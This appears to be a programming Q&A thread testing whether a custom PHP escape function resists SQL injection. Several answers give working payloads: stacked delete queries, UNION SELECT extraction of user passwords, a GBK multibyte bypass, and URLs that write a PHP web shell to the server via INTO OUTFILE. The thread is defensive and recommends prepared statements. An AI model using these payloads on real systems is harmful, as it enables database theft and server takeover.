+1  A: 

How about when dealing with numbers?

shop.php?productid=322 

becomes

SELECT * FROM [Products] WHERE productid=322


shop.php?productid=322; delete from products;--

becomes

SELECT * FROM [Products] WHERE productid=322; delete from products;--

(Not all queries are built with single quotes and strings)

Kieren Johnstone
mysql will not execute multiple statements in one query string – unless you use mysqli_multi_query
knittl
In my case all queries are built with single quotes, including numbers. I'm looking for proof that mysql_real_escape_string should have been used.
Evert
You have never exploited sql injection on mysql.
Rook
@knittl: If the query is something akin to `SELECT * FROM x WHERE y=(DROP TABLE z)`, would that work then?
Esko
@esko, no you cannot use `DROP TABLE` in a subexpression
knittl
+2  A: 

Indeed, in addition you could try something with UNION SELECT

shop.php?productid=322

=>

shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--

To display information from other tables.

Of course you would have to change the table name and the numbers inside the UNION SELECT to match the amount of columns you have. This is a popular way of extracting data like admin user names and passwords.

Prot0
The semicolon at the end isn't necessary, the rest is good. Although I usually do a `0 union select` so that the first select returns zero elements.
Rook
True, additionally, on a bad configuration, the warnings PHP might throw up can be used to see if your UNION SELECT has the right amount of arguments. Warnings that are generated by database operation may also indicate that a page/file is vulnerable to injection (things link 'invalid resource', 'column mismatch' etc).
Prot0
+3  A: 

The escape function doesn't handle multibyte characters. Check http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string to see how to exploit this escape function.

Have fun hacking your database!

Frank Heikens
Yes, but the exploit pattern described by shiflett elucidates the attack vector as possible only when GBK encoding is used.
mhitza
Shift-JIS is another example for an encoding that is vulnerable to this attack, however the encoding in question is UTF-8 which does not allow 0x5c and is therefore not vulnerable to attack.
Zaki
+3  A: 

If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.

The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Vulnerable Condition 1: no quote marks used.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Vulnerable Condition 2: double quote marks used

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Vulnerable Condition 2: single quotes are used, however an alternative character set is used..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.

Rook
Very nice. ` ` ` `
Pekka
@Pekka thank you.
Rook
A very thorough answer. The conclusion is that in my situation the escape function is safe. Just checking for control characters is not solid proof though. The only way to do that is to actually check all UTF-8 sequences (and invalid ones probably).I'm tempted to just award you for a best effort answer though, I don't think there are any known attack vectors.
Evert
@Col. Shrapnel understanding escape function is vital to understanding injection flaws. For instance you are incorrect about the apostrophe, in this case the apostrophe will be a character literal single quote. Although parametrized query libraries are built on escape function and done automatically for you, you should still understand fundamentals of these security systems.
Rook
@Evert If I where attacking an application using this escape routine I would grep out all sql queries and look for conditions 1 and 2. I have found my best vulnerabilities using manual source code analysis ;)
Rook
@Col. Shrapnel please be professional and provide evidence to back your argument. I know we have clashed in the past and I am making an effort to treat you with respect and to help others.
Rook
@Evert I disagree about all of utf-8, all of these chars should be treated equally. Although it would be easy to modify my test to use the `char()` function.
Rook
@Col. Shrapnel, Although I would not recommend using this function, I'm just asking the question in the context of a very specific scenario. Hoping to learn more about how these things work. I'm not intending on using that escape method in a production environment. Overall I think the tone of your comment is not very constructive.
Evert
@Evert Thanks a lot for the bounty! I'm happy to help.
Rook
@Evert well my apologies to both of you. I've never known that 'foo''bar' is legitimate for mysql. Makes me puzzle
Col. Shrapnel
@The I'm afraid it's just a gesture. As far as I understand, the OP refused to agree that there was any help...
Col. Shrapnel
A: 

I've never used PHP, however, can you not use Stored Procedure calls instead of direct SQL statements? It seems like a better defense against SQL injection than trying to use an escape function.

An escape function, however, would be useful against malicious javascript.

HappyCoder4U
This is completely unrelated to PHP, but the best defense against sql injection is not using stored procedures, but rather prepared statements. In any language really.
Evert
The use of Stored Procedures over direct SQL has no impact upon defending against SQL Injection. The reason is you still need to execute the `CALL MyProcedure('arg1', 'arg2');` query, and as such the injection would occur before the procedure. Prepared Statements really the only solid defense against SQL Injection... (Religiously using `mysql_real_escape_string` is pretty good too, but not as good as prepared statements)...
ircmaxell
+1  A: 

Since you are using UTF-8 as the encoding, this could be vulnerable to an overlong UTF-8 sequence. An apostrophe character ('), while normally encoded as 0x27, could be encoded as the overlong sequence 0xc0 0xa7 (URL-encoded: %c0%a7). The escape function would miss this, but MySQL may interpret it in a way that causes a SQL injection.

As others have mentioned, you really need to be using mysql_real_escape_string at minimum (easy fix in your case), which should be handling character encoding and other issues for you. Preferably, switch to using prepared statements.

Bob
Hi Bob, I just gave it a shot with \x0c\xa7 embedded in the query. MySQL doesn't treat it as a closing quite.Can you provide an example script?Totally agree about using prepared statements btw.
Evert
A: 

how about...

\' or 1=1--

Which should be expanded to:

\'' or 1=1--

So using it for id in the following query...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

should result in:

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';
Basiclife